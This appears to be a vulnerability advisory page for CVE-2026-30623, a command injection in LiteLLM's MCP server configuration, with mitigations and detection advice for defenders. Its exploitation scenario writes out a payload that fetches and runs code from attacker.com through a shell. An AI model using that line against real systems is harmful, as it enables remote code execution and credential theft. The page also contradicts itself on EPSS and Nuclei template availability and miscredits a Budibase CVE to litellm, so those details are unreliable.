CVE-2026-30623: LiteLLM: RCE via unsanitized MCP server config
CRITICAL NUCLEI TEMPLATE CISA: TRACK*LiteLLM's MCP server creation feature lets a user submit a JSON configuration with arbitrary 'command' and 'args' fields, which the proxy then executes on the host with zero validation — a textbook CWE-77 OS command injection rated CVSS 9.8 (network-reachable, no privileges, no user interaction required). Because LiteLLM commonly runs as the central LLM gateway in front of multiple model providers and agent tool integrations, a single compromised instance can expose every downstream API key, model endpoint, and connected service it brokers. There's no confirmed CISA KEV listing, no public EPSS score, and no known public exploit or Nuclei template yet, but the flaw requires no authentication-bypass trickery — just posting a malicious MCP config — and ox.security has already flagged it as part of a broader pattern of RCE vulnerabilities across MCP implementations in the AI ecosystem. Patch to the fixed LiteLLM release immediately, and until then disable or tightly restrict who can create MCP servers; in production, run LiteLLM in a locked-down container with a minimal filesystem and egress controls so a command injection can't escalate to full host or cloud-credential compromise. Monitor LiteLLM process logs for unexpected child processes spawned from the MCP server creation endpoint as a detection signal.
What is the risk?
Critical. CVSS 9.8 with AV:N/AC:L/PR:N/UI:N means any network-reachable caller of the MCP server creation endpoint can trigger full command execution — no social engineering and no chained bugs required. Exploitability is trivial from a technical-skill standpoint (CWE-77, no AI/ML expertise needed), though the absence of an EPSS score, CISA KEV listing, or public PoC/Nuclei template currently lowers the probability of imminent mass exploitation. Given LiteLLM's role as a central LLM gateway, the blast radius of a single successful exploit is high — RCE at the proxy level can expose every model API key and downstream integration it manages.
How does the attack unfold?
What systems are affected?
How severe is it?
What is the attack surface?
What should I do?
1 step-
1) Patch LiteLLM to the version that fixes this MCP stdio command injection (per docs.litellm.ai's advisory) as soon as it's validated in a test environment. 2) Until patched, disable self-service MCP server creation or restrict it to trusted admins only — never expose the raw command/args JSON fields to end users. 3) Run LiteLLM under a least-privilege OS account, in a container with a read-only filesystem and no unnecessary binaries, so even a successful injection has limited post-exploitation value. 4) Add egress filtering/network segmentation around the LiteLLM host to limit lateral movement if compromised. 5) Detection: alert on unexpected child processes spawned by the LiteLLM process, and audit logs of the MCP server creation endpoint for anomalous command/args payloads (shell metacharacters, reverse-shell patterns, curl|bash chains).
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-30623?
LiteLLM's MCP server creation feature lets a user submit a JSON configuration with arbitrary 'command' and 'args' fields, which the proxy then executes on the host with zero validation — a textbook CWE-77 OS command injection rated CVSS 9.8 (network-reachable, no privileges, no user interaction required). Because LiteLLM commonly runs as the central LLM gateway in front of multiple model providers and agent tool integrations, a single compromised instance can expose every downstream API key, model endpoint, and connected service it brokers. There's no confirmed CISA KEV listing, no public EPSS score, and no known public exploit or Nuclei template yet, but the flaw requires no authentication-bypass trickery — just posting a malicious MCP config — and ox.security has already flagged it as part of a broader pattern of RCE vulnerabilities across MCP implementations in the AI ecosystem. Patch to the fixed LiteLLM release immediately, and until then disable or tightly restrict who can create MCP servers; in production, run LiteLLM in a locked-down container with a minimal filesystem and egress controls so a command injection can't escalate to full host or cloud-credential compromise. Monitor LiteLLM process logs for unexpected child processes spawned from the MCP server creation endpoint as a detection signal.
Is CVE-2026-30623 actively exploited?
No confirmed active exploitation of CVE-2026-30623 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-30623?
1) Patch LiteLLM to the version that fixes this MCP stdio command injection (per docs.litellm.ai's advisory) as soon as it's validated in a test environment. 2) Until patched, disable self-service MCP server creation or restrict it to trusted admins only — never expose the raw command/args JSON fields to end users. 3) Run LiteLLM under a least-privilege OS account, in a container with a read-only filesystem and no unnecessary binaries, so even a successful injection has limited post-exploitation value. 4) Add egress filtering/network segmentation around the LiteLLM host to limit lateral movement if compromised. 5) Detection: alert on unexpected child processes spawned by the LiteLLM process, and audit logs of the MCP server creation endpoint for anomalous command/args payloads (shell metacharacters, reverse-shell patterns, curl|bash chains).
What systems are affected by CVE-2026-30623?
This vulnerability affects the following AI/ML architecture patterns: agent frameworks, model serving, MCP tool integrations.
What is the CVSS score for CVE-2026-30623?
CVE-2026-30623 has a CVSS v3.1 base score of 9.8 (CRITICAL). The EPSS exploitation probability is 5.00%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0010.005 AI Agent Tool AML.T0050 Command and Scripting Interpreter AML.T0053 AI Agent Tool Invocation AML.T0081 Modify AI Agent Configuration Compliance Controls Affected
What are the technical details?
Original Advisory
LiteLLM 1.18.10 contains a remote code execution vulnerability in its MCP server creation functionality. The application allows users to add MCP servers via a JSON configuration specifying arbitrary command and args values. LiteLLM executes these values on the host without validation, enabling attackers to run arbitrary operating system commands. Successful exploitation may result in remote code execution with the privileges of the LiteLLM process.
Exploitation Scenario
An attacker with access to LiteLLM's MCP server management interface (e.g., a low-privileged user in a multi-tenant AI platform, or an external attacker reaching an exposed admin endpoint) submits a JSON configuration to add a new MCP server, setting the 'command' field to '/bin/sh' with args like '-c "curl attacker.com/payload | sh"'. LiteLLM parses the config and spawns the process on the host without validating or sandboxing it, executing the attacker's command with the privileges of the LiteLLM service account. From there the attacker can exfiltrate the API keys and credentials LiteLLM holds for every connected LLM provider, pivot to other services reachable from the host, or establish persistence — all without ever touching a model prompt or triggering any AI-specific safety control.
Weaknesses (CWE)
CWE-77 — Improper Neutralization of Special Elements used in a Command ('Command Injection'): The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.
- [Architecture and Design] If at all possible, use library calls rather than external processes to recreate the desired functionality.
- [Implementation] If possible, ensure that all external commands called from the program are statically created.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H References
Timeline
Scanner Template Available
A Nuclei vulnerability scanner template exists for this CVE. You can scan your infrastructure for this vulnerability immediately.
View template on GitHubnuclei -t http/cves/2026/CVE-2026-30623.yaml -u https://target.example.com Related Vulnerabilities
CVE-2026-42208 9.8 LiteLLM: SQL injection exposes LLM API credentials
Same package: litellm CVE-2026-54352 9.6 Budibase: zip symlink bypass exposes all server secrets
Same package: litellm CVE-2026-35030 9.1 LiteLLM: auth bypass via JWT cache key collision
Same package: litellm CVE-2026-35029 8.8 LiteLLM: auth bypass allows RCE and full takeover
Same package: litellm CVE-2024-6825 8.8 LiteLLM: RCE via post_call_rules callback injection
Same package: litellm